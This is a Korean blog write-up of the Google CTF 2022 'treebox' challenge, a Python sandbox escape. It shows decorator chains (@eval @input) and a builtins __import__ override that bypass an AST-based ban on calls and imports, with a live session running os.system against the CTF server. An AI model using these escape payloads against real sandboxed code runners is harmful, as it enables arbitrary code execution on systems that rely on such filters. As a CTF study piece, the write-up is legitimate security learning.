티스토리 뷰
문제 개요
Python Sandbox Escape(PyJail Break)
코드 분석
우선 문제에서는 파이썬 코드가 주어졌는데요. 최상단에 보면 python3 으로 실행한다고 되어 있습니다.
#!/usr/bin/python3 -u
#
# Flag is in a file called "flag" in cwd.
#
# Quote from Dockerfile:
# FROM ubuntu:22.04
# RUN apt-get update && apt-get install -y python3
#
import ast
import sys
import os
def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call):
print(f"ERROR: Banned statement {x}")
return False
return True
abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)
print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
line = sys.stdin.readline()
if line.startswith("--END"):
break
source_code += line
tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree): # Safe to execute!
print("-- Executing safe code:")
compiled = compile(source_code, "input.py", 'exec')
exec(compiled)
sys.stdin.readline() 함수에서 사용자로부터 입력을 받고 그 입력된 내용들을 compile 함수의 소스코드 변수에 파라미터로 넘겨줍니다. 그리고 ast 모듈로 사용자가 입력한 소스코드로부터 import 나 from import 구분이나 함수를 호출하는 function call 의 경우 다 방어하는 코드임을 볼 수 있습니다.
다만 ast 코드를 보면 알겠지만, node 단위로 recursive 하게 찾아들어가서 해당 구문을 검사할 때 특정 delimiter 를 기준으로 검사하게 되는데 from import 나 import 는 그렇치고 function call 의 경우에는 당연하게도 괄호가 있는지를 검사합니다.
그럼 이제 여기서 필요한 것은 괄호 없이 함수를 호출하는 방법이 필요하게 된다는 것을 알 수 있게 해주는 대목입니다.
Python은 3 버전을 사용하는 것으로 보이니, python3을 잘 모르는 저로서는 python documentation 을 찾아볼 수밖에 없었는데요.
https://docs.python.org/3.10/glossary.html#term-decorator
위 링크를 같이 보시죠.
python 에서 decorator 라는 것을 웹개발하다보면 많이 보셨을 겁니다. flask 에서 decorator 많이 사용했던 걸로 기억합니다. 위 문서에도 나와있다시피 decorator 는 어떻게 동작하는지 간단하게 살펴보겠습니다.
def f(arg):
...
f = staticmethod(f)
@staticmethod
def f(arg):
...
문서에 나오는 코드를 그대로 가져왔는데요. 쉽게 말해서 아래의 코드는 위의 코드와 일치한다는 것입니다. 다시 말해 아래와 같은 형식인 거죠.
# f = print(f)
@print
def f(): pass
# <function f at 0x0000023D4E4BA9D0>
위 데코레이터의 실행은 위의 주석대로 f = print(f) 한 결과가 나온 것이고 그 결과 값으로 아래 주석문의 문자열이 콘솔 상에 출력됩니다. f라는 이름의 함수의 레퍼런스가 출력된 것이죠.
그럼 decorator 를 여러 개를 중첩해보면 어떨까요?
# f = print(input(f))
@print
@input
def f(): pass
위 코드를 실행하게 되면 아래와 같습니다.
C:\Users\domdomi\googleCTF2022\treebox>python test.py
<function f at 0x0000021E9CBFA9D0>domdomi
domdomi
print 함수의 반환 값은 없으니깐 f 변수의 값에는 None 이 들어가겠죠.
그럼 이제 관건은 위 코드가 과연 ast 모듈의 function call 을 피해갈 수 있는지가 궁금합니다.
<ast.Module object at 0x000001E8163E0E50>
<ast.FunctionDef object at 0x000001E8163E0B20>
<ast.arguments object at 0x000001E8163E0640>
<ast.Pass object at 0x000001E8163E0790>
<ast.Name object at 0x000001E8163E08B0>
<ast.Name object at 0x000001E8163E09A0>
<ast.Load object at 0x000001E8164092B0>
<ast.Load object at 0x000001E8164092B0>
다행히 어느 것 하나 ast.Call 로 인식하는 것이 없어보입니다!
이로써 decorator 를 활용한 임의 함수 실행(arbitrary code execution)이 가능해집니다.
문제 풀이
@eval
@input
class f: pass
--END
사용자의 input 으로 받은 문자열을 eval 함수에 넘겨주어서 실행시켜주었습니다.
C:\Users\Domdomi>ncat treebox.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
-- Please enter code (last line must contain only --END)
@eval
@input
class f: pass
--END
-- Executing safe code:
<class '__main__.f'>os.system('ls -al')
total 16
drwxr-xr-x 2 nobody nogroup 4096 Jun 28 12:22 .
drwxr-xr-x 3 nobody nogroup 4096 Jun 28 12:22 ..
-rw-r--r-- 1 nobody nogroup 29 Jun 28 12:14 flag
-rwxr-xr-x 1 nobody nogroup 1474 Jun 28 12:14 treebox.py
위와 같이 ls -al 명령이 정상적으로 실행된 것이 보입니다. 그리고 flag 파일을 출력시켜주면 문제는 풀리게 됩니다.
기존에는 python sandbox escape 나 python jail break 라고 하면 대부분 jinja SSTI에서 많이 볼 수 있는 상위 object 나 module 로부터 다시 하위 모듈을 import 해와서 특정 함수를 실행한다던가, os 나 sys와 같은 악의적인 공격 가능성이 존재하는 모듈을 import 해올 때의 문자열 filtering bypass 를 한다던가 등의 방법을 써왔었는데, 이번처럼 ast(Abstract Syntax Tree) 모듈로 막은 것을 우회하는 경우는 처음 풀어봐서 무척이나 흥미로웠던 것 같았습니다.
Google CTF 2022 는 하면서 많은 문제를 풀지 못했지만, 그래도 배운 점이 무척이나 많다는 것을 느낍니다.
Google Security Engineer 들은 정말 천재인 것 같습니다! 좋은 문제 많이 만들어줘서 정말 감사함을 느낍니다!
- 끝 -
- 추가 -
의도한 답은 아래와 같다고 하네요. 대체 어떤 원리로 이렇게 되는지 공부해볼 필요가 있겠습니다.
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]
'보안 > CTF' 카테고리의 다른 글
[Hackthebox] - [Forensics] Perseverance Writeup(문제풀이) (0) | 2022.07.21 |
---|---|
[Hackthebox] - [Forensics] Lina's Invitation Writeup(문제풀이) (0) | 2022.07.19 |
[GoogleCTF2022] JS SAFE 4.0 Writeup(문제풀이) (0) | 2022.07.04 |
[TyphoonconCTF2022] know me Writeup(문제풀이) (0) | 2022.06.28 |
TyphoonconCTF2022 후기 (0) | 2022.06.24 |